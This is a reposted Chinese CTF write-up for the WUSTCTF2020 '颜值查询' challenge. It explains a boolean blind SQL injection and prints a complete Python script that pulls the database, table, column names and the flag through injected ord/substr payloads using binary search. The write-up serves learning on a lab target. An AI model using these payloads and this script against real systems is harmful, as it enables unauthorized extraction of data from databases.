IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> WUSTCTF2020 颜值查询 -> 正文阅读

[大数据]WUSTCTF2020 颜值查询

题型分析:emm,这是一道SQL注入的题(一看到查询,就明白了)

首先,尝试一下页面(还是bootstrap写的呢,老搬砖了)。

在这里插入图片描述

emm,感觉是个数字类型的注入。尝试了好多次,发现没有错误回显,emm联合注入也出现了问题。在尝试的过程中,发现可能存在布尔盲注的可能

于是,尝试一下

0^1

在这里插入图片描述

0^0

在这里插入图片描述

两种不同的情况,于是开始布尔盲注。幸好,出题大大善良,并没有过滤什么。于是开始脚本编写

import requests
import time

host = "http://b9e40acf-6866-4745-8b92-68ae03a88d82.node4.buuoj.cn:81/index.php"


# true:3640
# false:3638
# database=ctf
def getdatabase():
	database_name = ""
	for x in range(1, 1000):
		low = 32
		height = 127
		mid = (low + height) // 2
		while low < height:
			params = {
				"stunum": "0^(ascii(mid(database()," + str(x) + ",1))>" + str(mid) + ")"
			}
			r = requests.get(url=host, params=params)
			if len(r.text) == 3640:
				low = mid + 1
			else:
				height = mid
			mid = (low + height) // 2
		if low <= 32 or height >= 127:
			break
		database_name += chr(mid)
		print("数据库为:", database_name)


# payload:0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),"+str(x)+",1))>"+str(mid)+")
# table:flag,score
def gettable():
	table_name = ""
	for x in range(1, 1000):
		low = 32
		height = 127
		mid = (low + height) // 2
		while low < height:
			params = {
				"stunum": "0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf'))," + str(
					x) + ",1))>" + str(mid) + ")"
			}
			r = requests.get(url=host, params=params)
			if len(r.text) == 3640:
				low = mid + 1
			else:
				height = mid
			mid = (low + height) // 2
		if low <= 32 or height >= 127:
			break
		table_name += chr(mid)
		print("表名为:", table_name)
		time.sleep(1)


#column:flag,value
def getcolumn():
	column_name = ""
	for x in range(1, 1000):
		low = 32
		height = 127
		mid = (low + height) // 2
		while low < height:
			params = {
				"stunum": "0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))," + str(x) + ",1))>" + str(mid) + ")"
			}
			r = requests.get(url=host, params=params)
			if len(r.text) == 3640:
				low = mid + 1
			else:
				height = mid
			mid = (low + height) // 2
		if low <= 32 or height >= 127:
			break
		column_name += chr(mid)
		print("字段名为:", column_name)
		time.sleep(1)

def getflag():
	flag = ""
	for x in range(1, 1000):
		low = 32
		height = 127
		mid = (low + height) // 2
		while low < height:
			params = {
				"stunum": "0^(ord(substr((select(group_concat(value))from(flag))," + str(x) + ",1))>" + str(mid) + ")"
			}
			r = requests.get(url=host, params=params)
			if len(r.text) == 3640:
				low = mid + 1
			else:
				height = mid
			mid = (low + height) // 2
		if low <= 32 or height >= 127:
			break
		flag += chr(mid)
		print("flag为:", flag)
		time.sleep(1)



getdatabase()
gettable()
getcolumn()
getflag()
  • 由于页面返回字符太多,于是在判断方法上我选用了判别返回长度的方式。筛选过程又使用了二分法(二分法yyds),比暴力快了很多
  • 其中数据库可以不用查询的,在查table_name的时候,填数据库直接写database()也是可以的
  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-11-12 19:39:55  更:2021-11-12 19:39:57 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 5:21:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码